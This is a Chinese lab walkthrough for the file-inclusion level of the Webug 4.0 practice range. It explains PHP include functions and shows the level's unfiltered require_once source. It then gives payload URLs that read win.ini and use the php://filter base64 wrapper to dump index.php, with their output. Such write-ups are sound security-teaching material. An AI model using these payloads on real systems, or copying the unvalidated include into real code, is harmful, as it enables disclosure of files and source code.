Webug4.0靶場通關筆記22- 第27關文件包含

目錄

一、文件包含

1、原理分析

2、文件包含函數

(1)include( )

(2)include_once( )

(3)require( )

(4)require_once( )

二、第27關滲透實戰

1、打開靶場

2、源碼分析

3、滲透實戰

(1)查看敏感信息

(2)查看源碼


本文通過《webug4靶場第27關 文件包含》來進行文件包含攻擊滲透實戰。

一、文件包含

1、原理分析

文件包含漏 洞的產生原因是在通過引入文件時,由于傳入的文件名沒有經過合理的校驗,或者校檢被繞過,從而操作了預想之外的文件,就可能導致意外的文件泄露甚至惡意的代碼注入。這是因為Web應用在開發的過程中允許包含外部文件,如 PHP 中的include()、require()等函數,當這些函數使用用戶可控的參數來指定包含的文件路徑時,如果應用程序沒有對用戶輸入進行充分的驗證和過濾,就可能導致文件包含攻擊。攻擊者通過構造惡意的文件路徑,使得通過文件包含攻擊執行惡意文件,從而達到執行任意代碼、獲取敏感信息等目的。

  • 當被包含的文件在服務器本地時,就形成的本地文件包含。
  • 當被包含的文件在遠程服務器時,就形成的遠程文件包含。

2、文件包含函數

PHP中提供了四個文件包含的函數

(1)include( )

include() 當代碼執行到include()函數時才將文件包含進行,發生錯誤時會給出一個告警,程序繼續往下執行。

(2)include_once( )

include_once() 功能與include()相同,區別在于當重復調用一個文件時,程序只調用一次。

(3)require( )

require() 與include()函數區別在于require()執行如果發生錯誤,函數會輸出錯誤信息,并終止程序運行。

(4)require_once( )

require_once() 功能與require()相同,區別在于當重復調用同一個文件時,程序只調用一次。

二、第27關滲透實戰

1、打開靶場

本關卡與前面的任意文件下載類似,都是對文件名沒有進行過濾,如下所示打開靶場第27關。

http://192.168.71.1/webug4/control/more/file_include.php?filename=../../template/dom_xss.html

2、源碼分析

查看webug靶場第27關的index.php源碼,如下所示對filename參數沒進行任何過濾,存在require_once函數對filename的調用,故而具有文件包含風險,很明顯產生的根本原因是源碼對用戶GET型輸入參數filename的信任度過高,沒有對包含文件的路徑進行嚴格的驗證和過濾,導致攻擊者能夠操縱文件包含過程,實現惡意目的。

<?phprequire_once "../../common/common.php";
if (!isset($_SESSION['user'])) {header("Location:../login.php");
}if (isset($_GET["filename"])) {if (!empty($_GET["filename"])) {$path = $_GET['filename'];require_once $path;}
}

3、滲透實戰

(1)查看敏感信息

通過使用如下命令查看敏感文件。

?filename=c://windows/win.ini

完整的URL地址如下所示。?

http://192.168.71.1/webug4/control/more/file_include.php?filename=c://windows/win.ini

(2)查看源碼

使用php://filter/read=convert.base64-encode/resource=偽協議進行滲透,注入語句如下所示。

filename=php://filter/read=convert.base64-encode/resource=../../index.php

完整的URL如下所示。?

http://192.168.71.1/webug4/control/more/file_include.php?filename=php://filter/read=convert.base64-encode/resource=../../index.php

獲取到的base64編碼為

PD9waHANCi8qKg0KICogQ3JlYXRlZCBieSBQaHBTdG9ybS4NCg0KDQoyMTo1Mg0KICovDQpyZXF1aXJlX29uY2UgImNvbW1vbi9jb21tb24ucGhwIjsNCg0KDQppZiAoaXNzZXQoJF9TRVNTSU9OWyd1c2VyJ10pKSB7DQogICAgaGVhZGVyKCJMb2NhdGlvbjouL2NvbnRyb2wvd2VfYnVnX2Vudi5waHAiKTsNCn0gZWxzZXsNCiAgICBoZWFkZXIoIkxvY2F0aW9uOi4vY29udHJvbC9sb2dpbi5waHAiKTsNCn0=

接下來進行base64解碼,可以使用base64在線解碼工具

Base64 在線編碼解碼 | Base64 加密解密 - Base64.us

解碼后的結果如下所示,成功獲取到index.php網站的源碼。

<?php
/*** Created by PhpStorm.21:52*/
require_once "common/common.php";if (isset($_SESSION['user'])) {header("Location:./control/we_bug_env.php");
} else{header("Location:./control/login.php");
}

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/80173.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/80173.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/80173.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

〖 Linux 〗解決 VS Code 遠程連接服務器的常見問題

文章目錄 解決 VS Code 遠程連接服務器的斷開問題VS Code Remote-SSH一直彈出輸入密碼的問題VsCode C 語法檢測失效不標紅色波浪線 解決辦法卸載擴展方式&#xff1a; 解決vscode C智能提示緩慢 解決 VS Code 遠程連接服務器的斷開問題 解決 vscode 卡頓&#xff0c;卡死&…

ERC-20與ERC-721:區塊鏈代幣標準的雙星解析

一、代幣標準的誕生背景 在以太坊生態中&#xff0c;代幣標準是構建去中心化應用&#xff08;DApps&#xff09;的基石。ERC-20與ERC-721分別代表同質化與非同質化代幣的兩大核心標準&#xff0c;前者支撐著90%以上的加密資產流通&#xff0c;后者則開啟了數字資產唯一性的新時…

C++入門小館 :多態

嘿&#xff0c;各位技術潮人&#xff01;好久不見甚是想念。生活就像一場奇妙冒險&#xff0c;而編程就是那把超酷的萬能鑰匙。此刻&#xff0c;陽光灑在鍵盤上&#xff0c;靈感在指尖跳躍&#xff0c;讓我們拋開一切束縛&#xff0c;給平淡日子加點料&#xff0c;注入滿滿的pa…

【NextPilot日志移植】整體功能概要

整體日志系統的實現功能 該日志系統主要實現了飛行日志的記錄功能&#xff0c;支持多種日志記錄模式&#xff0c;可將日志存儲到文件或通過 MAVLink 協議傳輸&#xff0c;同時具備日志加密、空間管理、事件記錄等功能。具體如下&#xff1a; 日志記錄模式&#xff1a;支持按武…

數字化轉型:概念性名詞淺談(第二十五講)

大家好&#xff0c;今天接著介紹數字化轉型的概念性名詞系列。 &#xff08;1&#xff09;SOP(標準作業程序) 標準作業程序&#xff08;Standard Operating Procedure, SOPs&#xff09;是在有限時間與資源內&#xff0c;為了執行復雜的日常事務所設計的內部程序。從管理學的…

交叉編譯 opencv-4.10

編譯說明 opencv 下包含很多模塊&#xff0c;各個模塊的作用可以參考Opencv—模塊概覽. 嵌入式考慮有限存儲等因素會對模塊進行裁剪&#xff0c;我這里主要保留圖像拼接&#xff08;stitching&#xff09;圖片編解碼&#xff08;imgcodecs&#xff09;與特征點匹配&#xff08…

Python cv2對象檢測與跟蹤:從基礎到進階實戰

在計算機視覺領域&#xff0c;對象檢測&#xff08;定位目標位置&#xff09;與對象跟蹤&#xff08;持續追蹤目標運動&#xff09;是視頻分析、自動駕駛、智能監控等應用的核心技術。本文將結合OpenCV的cv2庫&#xff0c;系統講解其原理與Python實現方法。 一、對象檢測 vs 對…

亞馬遜推出新型倉儲機器人 Vulcan:具備“觸覺”但不會取代人類工人

每周跟蹤AI熱點新聞動向和震撼發展 想要探索生成式人工智能的前沿進展嗎&#xff1f;訂閱我們的簡報&#xff0c;深入解析最新的技術突破、實際應用案例和未來的趨勢。與全球數同行一同&#xff0c;從行業內部的深度分析和實用指南中受益。不要錯過這個機會&#xff0c;成為AI領…

緩存套餐-03.功能測試

一.功能測試 點擊小程序&#xff0c;就會觸發根據分類id查詢套餐方法&#xff0c;根據分類id查詢套餐。 第一次查詢&#xff0c;redis中沒有數據&#xff0c;就會發sql進行sql數據庫查詢。 redis當中就有了對應的緩存。 再次點擊&#xff0c;發現sql根本沒有執行&#xff0c;…

WebFlux與HttpStreamable關系解析

1-Streamable 1-WebFlux與HttpStreamable關系解析2-MCP協議Streamable HTTP 2-參考網址 MCP協議Streamable HTTPMCP協議重大升級&#xff0c;Spring AI Alibaba聯合Higress發布業界首個Streamable HTTP實現方案 3-WebFlux與HttpStreamable關系解析 WebFlux 和 HttpStreamabl…

順豐科技:從 Presto 到 Doris 湖倉構架升級,提速 3 倍,降本 48%

導讀&#xff1a;順豐科技引入 Doris 替換 Presto&#xff0c;在內部可視化數據自助分析工具豐景臺場景廣泛應用。目前&#xff0c;順豐臨時查詢業務、豐景臺報表業務的 Presto 場景已經 100% 切換到 Doris 集群中&#xff0c;日均查詢量 100W。并實現 P95 性能提升近 3 倍&…

如何在Jmeter中調用C程序?

在JMeter中調用C語言程序可以通過以下幾種方式實現&#xff1a; 方法一&#xff1a;使用OS Process Sampler JMeter的“OS Process Sampler”可以用來調用外部程序&#xff0c;包括C語言編寫的可執行文件。 步驟&#xff1a; 準備C語言程序&#xff1a; 編寫C語言代碼并編譯…

python 中的單例

在 Python 里&#xff0c;單例模式指的是一個類僅有一個實例&#xff0c;并且提供一個全局訪問點來獲取該實例。下面為你介紹幾種實現單例模式的常見方法。 1. 使用模塊 在 Python 里&#xff0c;模塊天然就是單例模式。當模塊被導入時&#xff0c;Python 會對其進行一次加載…

Linux58 ssh服務配置 jumpserver 測試雙網卡 為何不能ping通ip地址

判斷為NAT模式網卡 能ping 通外網 ens34為僅主機模式網卡 [rootlocalhost network-scripts]# ip route show default default via 10.1.1.254 dev ens33 proto static metric 100 10.0.0.0/8 dev ens33 proto kernel scope link src 10.1.1.37 metric 100 11.0.0.0/8 dev…

web 自動化之 selenium+webdriver 環境搭建及原理講解

文章目錄 一、web 自動化測試學習說明二、什么 web 自動化測試三、selenium 簡介四、web自動化測試環境搭建五、web 自動化測試第一個腳本六、selenium 原理及源碼講解 一、web 自動化測試學習說明 進階 web 自動化測試學習&#xff1a;掌握 python 編程基礎 二、什么 web 自…

Linux 網絡命名空間:從內核資源管理到容器網絡隔離

1. 網絡命名空間是什么? 網絡命名空間(Network Namespace) 是 Linux 內核提供的一種網絡資源隔離機制,用于為進程或容器創建完全獨立的網絡環境。它并非物理或虛擬的網絡接口(如網卡、veth pair 等),而是一個虛擬容器,包含以下資源的獨立實例: 網絡接口(物理或虛擬)…

SQL知識點總結

總結的知識點主要來源于前段時間在牛客刷SQL題目中遇到的錯誤 目錄 1.WHERE字句不能與高級函數連用 2.去重——distinct 3.不等于某個值 4.查多個范圍內的值 5. 升/降序排序 6.占位符 7.統計某類別總數計算平均值 8.合并查詢——UNION &#xff08;ALL&#xff09; 9…

【軟考-高級】【信息系統項目管理師】【論文基礎】采購管理過程輸入輸出及工具技術的使用方法

采購管理概念 項目采購管理包括從項目團隊外部采購或獲取所需產品、服務或成果的各個過程。項目采購管理包括編制和管理協議所需的管理和控制過程&#xff0c;例如合同、訂購單、協議備忘錄&#xff08;MOA&#xff09;和服務水平協議&#xff08;SLA&#xff09;。 采購管理…

C++ 手寫一個內存池

內存池是一種內存管理技術&#xff0c;它預先分配一大塊內存&#xff0c;之后將其按需分割成多個小塊供程序使用。下面將詳細闡述它的好處以及適用場景。 內存池的好處 減少內存碎片&#xff1a;在動態內存分配時&#xff0c;頻繁地分配和釋放不同大小的內存塊&#xff0c;會…

LeetCode 3341.到達最后一個房間的最少時間 I:Dijkstra算法(類似深搜)-簡短清晰的話描述

【LetMeFly】3341.到達最后一個房間的最少時間 I&#xff1a;Dijkstra算法&#xff08;類似深搜&#xff09;-簡短清晰的話描述 力扣題目鏈接&#xff1a;https://leetcode.cn/problems/find-minimum-time-to-reach-last-room-i/ 有一個地窖&#xff0c;地窖中有 n x m 個房間…